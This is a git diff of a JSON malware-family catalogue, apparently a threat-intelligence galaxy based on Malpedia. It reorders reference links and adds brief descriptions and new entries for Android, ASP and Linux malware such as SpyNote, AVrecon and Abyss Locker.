"https://muha2xmad.github.io/malware-analysis/sharkbot/", "https://bin.re/blog/the-dgas-of-sharkbot/", + "https://www.cleafy.com/cleafy-labs/sharkbot-a-new-generation-of-android-trojan-is-targeting-banks-in-europe", "https://blog.fox-it.com/2022/03/03/sharkbot-a-new-generation-android-banking-trojan-being-distributed-on-google-play-store/" ], "synonyms": [], @@ -2522,11 +2593,12 @@ "value": "SharkBot" }, { - "description": "", + "description": "SideWinder involved a fake VPN app for Android devices published on Google Play Store along with a custom tool that filters victims for better targeting.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.sidewinder", - "https://ti.qianxin.com/blog/articles/analysis-of-malware-android-software-spread-by-sidewinder-using-google-play/" + "https://ti.qianxin.com/blog/articles/analysis-of-malware-android-software-spread-by-sidewinder-using-google-play/", + "https://www.group-ib.com/blog/hunting-sidewinder/" ], "synonyms": [], "type": [] @@ -2565,8 +2637,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.slempo", - "https://www.pcworld.com/article/3035725/source-code-for-powerful-android-banking-malware-is-leaked.html", - "https://www.fireeye.com/blog/threat-research/2015/12/slembunk_an_evolvin.html" + "https://www.fireeye.com/blog/threat-research/2015/12/slembunk_an_evolvin.html", + "https://www.pcworld.com/article/3035725/source-code-for-powerful-android-banking-malware-is-leaked.html" ], "synonyms": [ "SlemBunk" @@ -2595,8 +2667,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.smsagent", - "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/moqhao-related-android-spyware-targeting-japan-and-korea-found-on-google-play/", - "https://blog.alyac.co.kr/2128" + "https://blog.alyac.co.kr/2128", + "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/moqhao-related-android-spyware-targeting-japan-and-korea-found-on-google-play/" ], "synonyms": [], "type": [] @@ -2621,12 +2693,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.sova", + "https://liansecurity.com/#/main/news/RWt_ZocBrFZDfCElFqw_/detail", "https://muha2xmad.github.io/malware-analysis/sova/", - "https://blog.cyble.com/2023/03/09/nexus-the-latest-android-banking-trojan-with-sova-connections", "https://blog.cyble.com/2021/09/14/deep-dive-analysis-of-s-o-v-a-android-banking-trojan/", "https://www.threatfabric.com/blogs/sova-new-trojan-with-fowl-intentions.html", - "https://liansecurity.com/#/main/news/RWt_ZocBrFZDfCElFqw_/detail", - "https://www.cleafy.com/cleafy-labs/sova-malware-is-back-and-is-evolving-rapidly" + "https://www.cleafy.com/cleafy-labs/sova-malware-is-back-and-is-evolving-rapidly", + "https://blog.cyble.com/2023/03/09/nexus-the-latest-android-banking-trojan-with-sova-connections" ], "synonyms": [], "type": [] @@ -2666,10 +2738,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.spymax", - "https://twitter.com/malwrhunterteam/status/1250412485808717826", "https://www.threatfabric.com/blogs/spynote-rat-targeting-financial-institutions.html", - "https://www.stratosphereips.org/blog/2020/11/10/android-mischief-rats-dataset", - "https://www.zscaler.com/blogs/research/android-spyware-targeting-tanzania-premier-league" + "https://twitter.com/malwrhunterteam/status/1250412485808717826", + "https://www.zscaler.com/blogs/research/android-spyware-targeting-tanzania-premier-league", + "https://www.threatfabric.com/blogs/spynote-rat-targeting-financial-institutions", + "https://www.stratosphereips.org/blog/2020/11/10/android-mischief-rats-dataset" ], "synonyms": [], "type": [] @@ -2682,18 +2755,21 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.spynote", - "https://mp.weixin.qq.com/s/J_A12SOX0k5TOYFAegBv_w", - "https://ti.qianxin.com/blog/articles/Blade-hawk-The-activities-of-targeted-the-Middle-East-and-West-Asia-are-exposed/", "https://mp.weixin.qq.com/s/mstwBMkS0G3Et4GOji2mwA", + "https://mp.weixin.qq.com/s/J_A12SOX0k5TOYFAegBv_w", + "https://www.cleafy.com/cleafy-labs/spynote-continues-to-attack-financial-institutions", + "https://ti.qianxin.com/blog/articles/Blade-hawk-The-activities-of-targeted-the-Middle-East-and-West-Asia-are-exposed/", "https://www.volexity.com/blog/2020/03/31/storm-cloud-unleashed-tibetan-community-focus-of-highly-targeted-fake-flash-campaign/", + "https://labs.k7computing.com/index.php/spynote-targets-irctc-users/", "https://www.threatfabric.com/blogs/spynote-rat-targeting-financial-institutions.html", - "https://www.bleepingcomputer.com/news/security/spynote-android-malware-infections-surge-after-source-code-leak/", - "https://labs.k7computing.com/index.php/spynote-an-android-snooper/", - "https://bulldogjob.pl/articles/1200-an-in-depth-analysis-of-spynote-remote-access-trojan", - "https://www.civilsphereproject.org/blog/2021/9/21/capturing-and-detecting-androidtester-remote-access-trojan-with-the-emergency-vpn", "https://docs.google.com/document/d/1oYX3uN6KxIX_StzTH0s0yFNNoHDnV8VgmVqU5WoeErc/edit#heading=h.hcd1wvpsrgfr", "https://about.fb.com/news/2021/04/taking-action-against-hackers-in-palestine/", - "https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/" + "https://labs.k7computing.com/index.php/spynote-an-android-snooper/", + "https://www.bleepingcomputer.com/news/security/spynote-android-malware-infections-surge-after-source-code-leak/", + "https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/", + "https://www.threatfabric.com/blogs/spynote-rat-targeting-financial-institutions", + "https://www.civilsphereproject.org/blog/2021/9/21/capturing-and-detecting-androidtester-remote-access-trojan-with-the-emergency-vpn", + "https://bulldogjob.pl/articles/1200-an-in-depth-analysis-of-spynote-remote-access-trojan" ], "synonyms": [ "CypherRat" @@ -2735,8 +2811,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.svpeng", - "https://securelist.com/mobile-malware-evolution-2019/96280/", - "https://securelist.com/a-new-era-in-mobile-banking-trojans/79198/" + "https://securelist.com/a-new-era-in-mobile-banking-trojans/79198/", + "https://securelist.com/mobile-malware-evolution-2019/96280/" ], "synonyms": [], "type": [] @@ -2873,16 +2949,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.triada", - "https://arstechnica.com/information-technology/2019/06/google-confirms-2017-supply-chain-attack-that-sneaked-backdoor-on-android-devices/", - "https://securelist.com/apkpure-android-app-store-infected/101845/", - "https://securelist.com/everyone-sees-not-what-they-want-to-see/74997/", - "https://securelist.com/triada-trojan-in-whatsapp-mod/103679/", + "http://contagiominidump.blogspot.de/2016/07/android-triada-modular-trojan.html", "https://security.googleblog.com/2019/06/pha-family-highlights-triada.html", "https://blog.checkpoint.com/2016/06/17/in-the-wild-mobile-malware-implements-new-features/", + "https://arstechnica.com/information-technology/2019/06/google-confirms-2017-supply-chain-attack-that-sneaked-backdoor-on-android-devices/", + "https://securelist.com/apkpure-android-app-store-infected/101845/", "https://securelist.com/mobile-malware-evolution-2019/96280/", - "https://www.nowsecure.com/blog/2016/11/21/android-malware-analysis-radare-triada-trojan/", - "http://contagiominidump.blogspot.de/2016/07/android-triada-modular-trojan.html", - "https://securelist.com/attack-on-zygote-a-new-twist-in-the-evolution-of-mobile-threats/74032/" + "https://securelist.com/everyone-sees-not-what-they-want-to-see/74997/", + "https://securelist.com/attack-on-zygote-a-new-twist-in-the-evolution-of-mobile-threats/74032/", + "https://securelist.com/triada-trojan-in-whatsapp-mod/103679/", + "https://www.nowsecure.com/blog/2016/11/21/android-malware-analysis-radare-triada-trojan/" ], "synonyms": [], "type": [] @@ -2891,7 +2967,7 @@ "value": "Triada" }, { - "description": "Bitdefender described Triout as a Android spyware, which appears to act as a framework for building extensive surveillance capabilities into seemingly benign applications. Found bundled with a repackaged app, the spyware’s surveillance capabilities involve hiding its presence on the device, recording phone calls, logging incoming text messages, recoding videos, taking pictures and collecting GPS coordinates, then broadcasting all of that to an attacker-controlled C&C (command and control) server.", + "description": "Bitdefender described Triout as a Android spyware, which appears to act as a framework for building extensive surveillance capabilities into seemingly benign applications. Found bundled with a repackaged app, the spyware\u2019s surveillance capabilities involve hiding its presence on the device, recording phone calls, logging incoming text messages, recoding videos, taking pictures and collecting GPS coordinates, then broadcasting all of that to an attacker-controlled C&C (command and control) server.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.triout" @@ -2957,13 +3033,7 @@ "description": "", "meta": { "refs": [ - "https://malpedia.caad.fkie.fraunhofer.de/details/apk.unidentified_005", - "https://blogs.360.cn/post/APT-C-35_target_at_armed_forces_in_Pakistan.html", - "https://s.tencent.com/research/report/951.html", - "https://community.riskiq.com/article/6f60db72", - "https://twitter.com/voodoodahl1/status/1267571622732578816", - "https://blog.talosintelligence.com/2020/10/donot-firestarter.html", - "https://cybleinc.com/2021/04/21/donot-team-apt-group-is-back-to-using-old-malicious-patterns/" + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.unidentified_005" ], "synonyms": [], "type": [] @@ -2976,10 +3046,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.unidentified_006", - "https://twitter.com/ReBensk/status/1438027183490940931", + "https://medium.com/@ThreatMiner/android-trojan-targeting-korean-demographic-using-github-for-c2-8219fc39f749", "https://twitter.com/MsftSecIntel/status/1441524497924833282?s=20", - "https://blog.cyble.com/2021/09/17/sophisticated-spyware-posing-as-a-banking-application-to-target-korean-users/", - "https://medium.com/@ThreatMiner/android-trojan-targeting-korean-demographic-using-github-for-c2-8219fc39f749" + "https://twitter.com/ReBensk/status/1438027183490940931", + "https://blog.cyble.com/2021/09/17/sophisticated-spyware-posing-as-a-banking-application-to-target-korean-users/" ], "synonyms": [], "type": [] @@ -3018,8 +3088,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.vajraspy", - "https://twitter.com/malwrhunterteam/status/1481312752782258176", "https://mp.weixin.qq.com/s/B0ElRhbqLzs-wGQh79fTww", + "https://twitter.com/malwrhunterteam/status/1481312752782258176", "https://twitter.com/LukasStefanko/status/1509451238366236674" ], "synonyms": [], @@ -3076,10 +3146,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.vultur", - "https://www.cleafy.com/cleafy-labs/the-android-malwares-journey-from-google-play-to-banking-fraud", "https://www.threatfabric.com/blogs/the-attack-of-the-droppers.html", - "https://www.threatfabric.com/blogs/vultur-v-for-vnc.html", - "https://twitter.com/_icebre4ker_/status/1485651238175846400" + "https://www.cleafy.com/cleafy-labs/the-android-malwares-journey-from-google-play-to-banking-fraud", + "https://twitter.com/_icebre4ker_/status/1485651238175846400", + "https://www.threatfabric.com/blogs/vultur-v-for-vnc.html" ], "synonyms": [ "Vulture" @@ -3094,8 +3164,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.wirex", - "https://krebsonsecurity.com/2017/08/tech-firms-team-up-to-take-down-wirex-android-ddos-botnet/", "https://www.flashpoint-intel.com/blog/wirex-botnet-industry-collaboration/", + "https://krebsonsecurity.com/2017/08/tech-firms-team-up-to-take-down-wirex-android-ddos-botnet/", "https://www.justice.gov/usao-ndil/pr/federal-indictment-chicago-charges-turkish-national-directing-cyber-attack", "https://therecord.media/turkish-national-charged-for-ddos-attacks-with-the-wirex-botnet/" ], @@ -3110,8 +3180,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.wolf_rat", - "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", - "https://blog.talosintelligence.com/2020/05/the-wolf-is-back.html" + "https://blog.talosintelligence.com/2020/05/the-wolf-is-back.html", + "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html" ], "synonyms": [], "type": [] @@ -3133,13 +3203,26 @@ "uuid": "40a5d526-ef9f-4ddf-a326-6f33dceeeebc", "value": "Wroba" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.wyrmspy", + "https://www.lookout.com/threat-intelligence/article/wyrmspy-dragonegg-surveillanceware-apt41" + ], + "synonyms": [], + "type": [] + }, + "uuid": "77f81373-bb3a-449d-82ff-b28fe31acef6", + "value": "WyrmSpy" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.xbot", - "https://blog.avast.com/2015/02/17/angry-android-hacker-hides-xbot-malware-in-popular-application-icons/", - "https://researchcenter.paloaltonetworks.com/2016/02/new-android-trojan-xbot-phishes-credit-cards-and-bank-accounts-encrypts-devices-for-ransom/" + "https://researchcenter.paloaltonetworks.com/2016/02/new-android-trojan-xbot-phishes-credit-cards-and-bank-accounts-encrypts-devices-for-ransom/", + "https://blog.avast.com/2015/02/17/angry-android-hacker-hides-xbot-malware-in-popular-application-icons/" ], "synonyms": [], "type": [] @@ -3152,12 +3235,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.xenomorph", + "https://www.threatfabric.com/blogs/bugdrop-new-dropper-bypassing-google-security-measures.html", + "https://www.threatfabric.com/blogs/zombinder-ermac-and-desktop-stealers.html", + "https://www.zscaler.com/blogs/security-research/rise-banking-trojan-dropper-google-play-0", "https://www.threatfabric.com/blogs/xenomorph-a-newly-hatched-banking-trojan.html", "https://www.threatfabric.com/blogs/xenomorph-v3-new-variant-with-ats.html", - "https://www.threatfabric.com/blogs/zombinder-ermac-and-desktop-stealers.html", - "https://www.threatfabric.com/blogs/bugdrop-new-dropper-bypassing-google-security-measures.html", - "https://cryptax.medium.com/unpacking-a-jsonpacker-packed-sample-4038e12119f5", - "https://www.zscaler.com/blogs/security-research/rise-banking-trojan-dropper-google-play-0" + "https://cryptax.medium.com/unpacking-a-jsonpacker-packed-sample-4038e12119f5" ], "synonyms": [], "type": [] @@ -3219,7 +3302,7 @@ "value": "YellYouth" }, { - "description": "", + "description": "According to cyware, Zanubis malware pretends to be a malicious PDF application. The threat actor uses it as a key to decrypt responses received from the C2 server.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.zanubis", @@ -3249,11 +3332,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.zoopark", - "https://securelist.com/whos-who-in-the-zoo/85394/", "https://securelist.com/whos-who-in-the-zoo/85394", "https://www.secureworks.com/research/threat-profiles/cobalt-juno", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/05/03114450/ZooPark_for_public_final_edit.pdf", - "https://securelist.com/apt-trends-report-q2-2019/91897/" + "https://securelist.com/whos-who-in-the-zoo/85394/", + "https://securelist.com/apt-trends-report-q2-2019/91897/", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/05/03114450/ZooPark_for_public_final_edit.pdf" ], "synonyms": [], "type": [] @@ -3266,9 +3349,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.ztorg", - "https://blog.fortinet.com/2017/03/15/teardown-of-a-recent-variant-of-android-ztorg-part-1", + "http://blog.fortinet.com/2017/03/08/teardown-of-android-ztorg-part-2", "https://securelist.com/ztorg-from-rooting-to-sms/78775/", - "http://blog.fortinet.com/2017/03/08/teardown-of-android-ztorg-part-2" + "https://blog.fortinet.com/2017/03/15/teardown-of-a-recent-variant-of-android-ztorg-part-1" ], "synonyms": [ "Qysly" @@ -3309,21 +3392,21 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/asp.twoface", - "https://unit42.paloaltonetworks.com/atoms/evasive-serpens/", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/incident-response-polar-ransomware-apt27/", - "https://www.cyber.gov.au/sites/default/files/2020-06/ACSC-Advisory-2020-008-Copy-Paste-Compromises.pdf", - "https://www.youtube.com/watch?time_continue=1333&v=1CGAmjAV8nI", + "https://www.recordedfuture.com/full-spectrum-detections-five-popular-web-shells/", "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1536345486.pdf", + "https://www.cyber.gov.au/sites/default/files/2020-06/ACSC-Advisory-2020-008-Copy-Paste-Compromises.pdf", "https://unit42.paloaltonetworks.com/unit42-oilrig-performs-tests-twoface-webshell/", - "https://www.zdnet.com/article/source-code-of-iranian-cyber-espionage-tools-leaked-on-telegram/", + "https://www.youtube.com/watch?v=GjquFKa4afU", "https://web.archive.org/web/20200307113010/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947864.pdf", "https://www.secureworks.com/research/threat-profiles/cobalt-gypsy", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/incident-response-polar-ransomware-apt27/", + "https://www.zdnet.com/article/source-code-of-iranian-cyber-espionage-tools-leaked-on-telegram/", + "https://go.recordedfuture.com/hubfs/reports/cta-2020-0312.pdf", "https://drive.google.com/file/d/1oA4YSwXLxEF-EXJcrM76Bc4_7ZfBGYE4/view", + "https://unit42.paloaltonetworks.com/atoms/evasive-serpens/", "https://unit42.paloaltonetworks.com/unit42-twoface-webshell-persistent-access-point-lateral-movement/", - "https://www.recordedfuture.com/full-spectrum-detections-five-popular-web-shells/", - "https://www.youtube.com/watch?v=GjquFKa4afU", - "https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae", - "https://go.recordedfuture.com/hubfs/reports/cta-2020-0312.pdf" + "https://www.youtube.com/watch?time_continue=1333&v=1CGAmjAV8nI", + "https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae" ], "synonyms": [ "HighShell", @@ -3353,10 +3436,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.abcbot", - "https://www.cadosecurity.com/abcbot-an-evolution-of-xanthe/", "https://www.cadosecurity.com/the-continued-evolution-of-abcbot/", - "https://www.lacework.com/blog/abc-botnet-attacks-on-the-rise/", - "https://blog.netlab.360.com/abcbot_an_evolving_botnet_en/" + "https://www.cadosecurity.com/abcbot-an-evolution-of-xanthe/", + "https://blog.netlab.360.com/abcbot_an_evolving_botnet_en/", + "https://www.lacework.com/blog/abc-botnet-attacks-on-the-rise/" ], "synonyms": [], "type": [] @@ -3364,6 +3447,21 @@ "uuid": "8d17175b-4e9f-43a9-851d-898bb6696984", "value": "Abcbot" }, + { + "description": "Family based on HelloKitty Ransomware. Encryption algorithm changed from AES to ChaCha. Sample seems to be unpacked.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.abyss", + "https://www.bleepingcomputer.com/news/security/linux-version-of-abyss-locker-ransomware-targets-vmware-esxi-servers/" + ], + "synonyms": [ + "elf.hellokitty" + ], + "type": [] + }, + "uuid": "302a96b1-73cb-4f70-a329-e68debd87bf8", + "value": "Abyss Locker" + }, { "description": "A Linux backdoor that was apparently ported to Windows. This entry represents the Linux version. This version appears to have been written first and the Windows version was ported later, without full functionality. The Linux version offers persistence as well as some process manipulation techniques, though both versions apparently offer the ability to access the command line and execute programs as well as self-update.", "meta": { @@ -3384,17 +3482,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.acidrain", - "https://www.sentinelone.com/labs/acidrain-a-modem-wiper-rains-down-on-europe/", "https://www.reversemode.com/2022/03/viasat-incident-from-speculation-to.html", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", + "https://www.sentinelone.com/labs/acidrain-a-modem-wiper-rains-down-on-europe/", "https://www.techtimes.com/articles/273755/20220331/viasat-hit-russia-s-wiper-malware-called-acidrain-affecting-european.htm", "https://cybersecuritynews.com/acidrain-wiper-malware/", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", + "https://www.splunk.com/en_us/blog/security/strt-ta03-cpe-destructive-software.html", + "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat", + "https://www.splunk.com/en_us/blog/security/threat-update-acidrain-wiper.html", "https://www.youtube.com/watch?v=mrTdSdMMgnk", "https://cybersecurity.att.com/blogs/labs-research/analysis-on-recent-wiper-attacks-examples-and-how-they-wiper-malware-works", - "https://www.splunk.com/en_us/blog/security/strt-ta03-cpe-destructive-software.html", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", - "https://www.splunk.com/en_us/blog/security/threat-update-acidrain-wiper.html", - "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat", "https://www.bleepingcomputer.com/news/security/viasat-confirms-satellite-modems-were-wiped-with-acidrain-malware/" ], "synonyms": [], @@ -3409,8 +3507,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.age_locker", "https://twitter.com/IntezerLabs/status/1326880812344676352", - "https://therecord.media/qnap-warns-of-agelocker-ransomware-attacks-against-nas-devices/", - "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/" + "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", + "https://therecord.media/qnap-warns-of-agelocker-ransomware-attacks-against-nas-devices/" ], "synonyms": [], "type": [] @@ -3446,20 +3544,33 @@ "uuid": "e288425b-40f0-441e-977f-5f1264ed61b6", "value": "Aisuru" }, + { + "description": "Ransomware", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.akira", + "https://labs.k7computing.com/index.php/akiras-play-with-linux/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "365081b9-f60d-4484-befa-d4fc9d0f55d7", + "value": "Akira (ELF)" + }, { "description": "Backdoor deployed by the TrickBot actors. It uses DNS as the command and control channel as well as for exfiltration of data.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.anchor_dns", - "https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/", - "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", - "https://www.netscout.com/blog/asert/dropping-anchor", - "https://cyware.com/news/trickbots-anchordns-is-now-upgraded-to-anchormail-a21f5490/", + "https://us-cert.cisa.gov/sites/default/files/publications/AA20-302A_Ransomware%20_Activity_Targeting_the_Healthcare_and_Public_Health_Sector.pdf", "https://securityintelligence.com/posts/new-malware-trickbot-anchordns-backdoor-upgrades-anchormail/", "https://hello.global.ntt/en-us/insights/blog/trickbot-variant-communicating-over-dns", - "https://us-cert.cisa.gov/sites/default/files/publications/AA20-302A_Ransomware%20_Activity_Targeting_the_Healthcare_and_Public_Health_Sector.pdf", - "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", "https://www.domaintools.com/resources/blog/finding-anchordns-c2s-with-iris-investigate", + "https://www.netscout.com/blog/asert/dropping-anchor", + "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", + "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", + "https://cyware.com/news/trickbots-anchordns-is-now-upgraded-to-anchormail-a21f5490/", + "https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/", "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", "https://medium.com/stage-2-security/anchor-dns-malware-family-goes-cross-platform-d807ba13ca30" ], @@ -3474,8 +3585,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.angryrebel", - "https://www.secureworks.com/research/threat-profiles/bronze-olive", - "https://news.sophos.com/wp-content/uploads/2020/02/CloudSnooper_report.pdf" + "https://news.sophos.com/wp-content/uploads/2020/02/CloudSnooper_report.pdf", + "https://www.secureworks.com/research/threat-profiles/bronze-olive" ], "synonyms": [ "Ghost RAT" @@ -3490,12 +3601,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.avoslocker", - "https://blog.lexfo.fr/Avoslocker.html", - "https://www.ic3.gov/Media/News/2022/220318.pdf", - "https://blog.cyble.com/2022/01/17/avoslocker-ransomware-linux-version-targets-vmware-esxi-servers/", "https://blogs.vmware.com/security/2022/02/avoslocker-modern-linux-ransomware-threats.html", + "https://www.ic3.gov/Media/News/2022/220318.pdf", "https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html", "https://blog.qualys.com/vulnerabilities-threat-research/2022/03/06/avoslocker-ransomware-behavior-examined-on-windows-linux", + "https://blog.lexfo.fr/Avoslocker.html", + "https://blog.cyble.com/2022/01/17/avoslocker-ransomware-linux-version-targets-vmware-esxi-servers/", "https://blogs.blackberry.com/en/2022/04/threat-thursday-avoslocker-prompts-advisory-from-fbi-and-fincen" ], "synonyms": [], @@ -3504,6 +3615,22 @@ "uuid": "465b6a74-87ca-4459-b4be-3f8b272f4485", "value": "Avoslocker" }, + { + "description": "AVrecon is a Linux-based Remote Access Trojan (RAT) targeting small-office/home-office (SOHO) routers and other ARM-embedded devices. The malware is distributed via exploitation of unpatched vulnerabilities or common misconfiguration of the targeted devices. Once deployed, AVreckon will collect some information about the infected device, open a session to pre-configured C&C server, and spawn a remote shell for command execution. It might also download additional arbitrary files and run them. The malware has recently been used in campaigns aimed at ad-fraud activities, password spraying and data exfiltration.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.avrecon", + "https://twitter.com/BlackLotusLabs/status/1684290046235484160", + "https://blog.lumen.com/routers-from-the-underground-exposing-avrecon/", + "https://krebsonsecurity.com/2023/07/who-and-what-is-behind-the-malware-proxy-service-socksescort/", + "https://spur.us/2023/07/christmas-in-july-a-finely-wrapped-proxy-service/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "1b218432-dd5c-4593-8f37-e202f9418fff", + "value": "AVrecon" + }, { "description": "Azazel is a Linux user-mode rootkit based off of a technique from the Jynx rootkit (LD_PRELOAD technique). Azazel is purportedly more robust than Jynx and has many more anti-analysis features ", "meta": { @@ -3535,17 +3662,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.babuk", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://www.advintel.io/post/groove-vs-babuk-groove-ransom-manifesto-ramp-underground-platform-secret-inner-workings", + "https://krebsonsecurity.com/2023/05/russian-hacker-wazawaka-indicted-for-ransomware/", + "https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/how-groove-gang-is-shaking-up-the-ransomware-as-a-service-market-to-empower-affiliates/", + "https://medium.com/s2wlab/blackmatter-x-babuk-using-the-same-web-server-for-sharing-leaked-files-d01c20a74751", "https://marcoramilli.com/2021/07/05/babuk-ransomware-the-builder/", + "https://medium.com/s2wlab/groove-x-ramp-the-relation-between-groove-babuk-ramp-and-blackmatter-f75644f8f92d", "https://medium.com/s2wlab/grooves-thoughts-on-blackmatter-babuk-and-interruption-in-the-supply-of-cheese-in-the-b5328bc764f2", "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", - "https://www.advintel.io/post/groove-vs-babuk-groove-ransom-manifesto-ramp-underground-platform-secret-inner-workings", - "https://medium.com/s2wlab/blackmatter-x-babuk-using-the-same-web-server-for-sharing-leaked-files-d01c20a74751", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/how-groove-gang-is-shaking-up-the-ransomware-as-a-service-market-to-empower-affiliates/", - "https://raw.githubusercontent.com/antonioCoco/infosec-talks/main/InsomniHack_2022_Ransomware_Encryption_Internals.pdf", "https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html", - "https://medium.com/s2wlab/groove-x-ramp-the-relation-between-groove-babuk-ramp-and-blackmatter-f75644f8f92d", - "https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/" + "https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/", + "https://raw.githubusercontent.com/antonioCoco/infosec-talks/main/InsomniHack_2022_Ransomware_Encryption_Internals.pdf" ], "synonyms": [], "type": [] @@ -3582,7 +3710,7 @@ "value": "Irc16" }, { - "description": "", + "description": "BADCALL is a Trojan malware variant used by the group Lazarus Group. ", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.badcall", @@ -3599,22 +3727,26 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite", - "https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/", - "https://krebsonsecurity.com/2016/09/krebsonsecurity-hit-with-record-ddos/", + "https://www.avira.com/en/blog/a-gafgyt-variant-that-exploits-pulse-secure-cve-2020-8218", + "https://www.uptycs.com/blog/mirai-code-re-use-in-gafgyt", "https://blog.netlab.360.com/the-gafgyt-variant-vbot-and-its-31-campaigns/", - "https://cybersecurity.att.com/blogs/labs-research/code-similarity-analysis-with-r2diaphora", "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://www.nozominetworks.com/blog/could-threat-actors-be-downgrading-their-malware-to-evade-detection/", - "http://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/", - "https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/", - "https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/", - "https://cujo.com/mirai-gafgyt-with-new-ddos-modules-discovered/", 